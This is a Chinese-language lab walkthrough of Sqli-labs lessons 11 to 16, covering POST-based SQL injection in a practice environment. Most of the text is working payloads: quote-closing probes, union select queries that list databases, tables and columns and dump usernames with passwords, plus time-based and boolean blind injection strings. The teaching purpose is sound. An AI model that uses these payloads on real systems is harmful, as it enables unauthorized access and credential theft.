Sqli-labs

为便于学习构造SQL语句的方式,需在每个less下的index.php文件中添加输出SQL语句的代码:

Sqli-labs less11-16_post请求

less11:

本关使用Post请求传输数据,所以需先使用burpsuite抓包,将Post的数据copy到hackbar中的Post Data中执行以便于SQL注入

Sqli-labs less11-16_sql语句_02

Sqli-labs less11-16_sql注入_03

输入uname=admin'报错,输入uname=admin'#正确,说明存在SQL注入,闭合方式为''

科普:Get请求中用--+注释,Post请求中用#注释

Sqli-labs less11-16_sql注入_04

使用order by判断列数,输入uname=admin' order by 2#正确,说明表中有2列数据

Sqli-labs less11-16_数据_05

使用union select联合查询,输入uname=edg' union select 1,schema_name from information_schema.schemata limit 4,1#,输出第5个数据库名为security

Sqli-labs less11-16_数据库_06

使用concat_ws()和group_concat()函数拼接输出所有数据库名:

输入uname=edg' union select 1,group_concat(concat_ws(schema_name,0x7e,0x7e)) from information_schema.schemata#

Sqli-labs less11-16_post请求_07

使用concat_ws()和group_concat()函数拼接输出指定数据库的所有表名:

输入uname=edg' union select 1,group_concat(concat_ws(table_name,0x7e,0x7e)) from information_schema.tables where table_schema=security#

Sqli-labs less11-16_数据_08

使用concat_ws()和group_concat()函数拼接输出指定表的所有列名:

输入uname=edg' union select 1,group_concat(concat_ws(column_name,0x7e,0x7e)) from information_schema.columns where table_name='users'#

Sqli-labs less11-16_post请求_09

使用concat_ws()和group_concat()函数拼接输出指定列的所有数据:

输入uname=edg' union select 1,group_concat(username,0x7e,password) from security.users#

Sqli-labs less11-16_post请求_10

less12:

输入uname=admin")报错,输入uname=admin")#正确,说明存在SQL注入,闭合方式为(""),其余与less11同理

Sqli-labs less11-16_数据_11

Sqli-labs less11-16_数据库_12

less13:

输入uname=admin')报错,输入uname=admin')#正确,说明存在SQL注入,闭合方式为('')

Sqli-labs less11-16_数据库_13

Sqli-labs less11-16_sql语句_14

时间盲注:输入uname=admin') and if(length(database())=8,1,sleep(10))#正确,判断当前数据库名长度为8

Sqli-labs less11-16_post请求_15

布尔盲注:输入uname=admin') and left((select schema_name from information_schema.schemata limit 4,1),1)='s'#正确,判断第5个数据库名从左数第一位为s

Sqli-labs less11-16_数据_16

less14:

输入uname=admin"报错,输入uname=admin"#正确,说明存在SQL注入,闭合方式为"",其余与less11同理

Sqli-labs less11-16_sql注入_17

less15:

输入uname=admin'报错,输入uname=admin'#正确,说明存在SQL注入,闭合方式为'',其余与less11同理

Sqli-labs less11-16_数据库_18

less16:

输入uname=admin")报错,输入uname=admin")#正确,说明存在SQL注入,闭合方式为(""),其余与less11同理

Sqli-labs less11-16_post请求_19

敬爱与明天!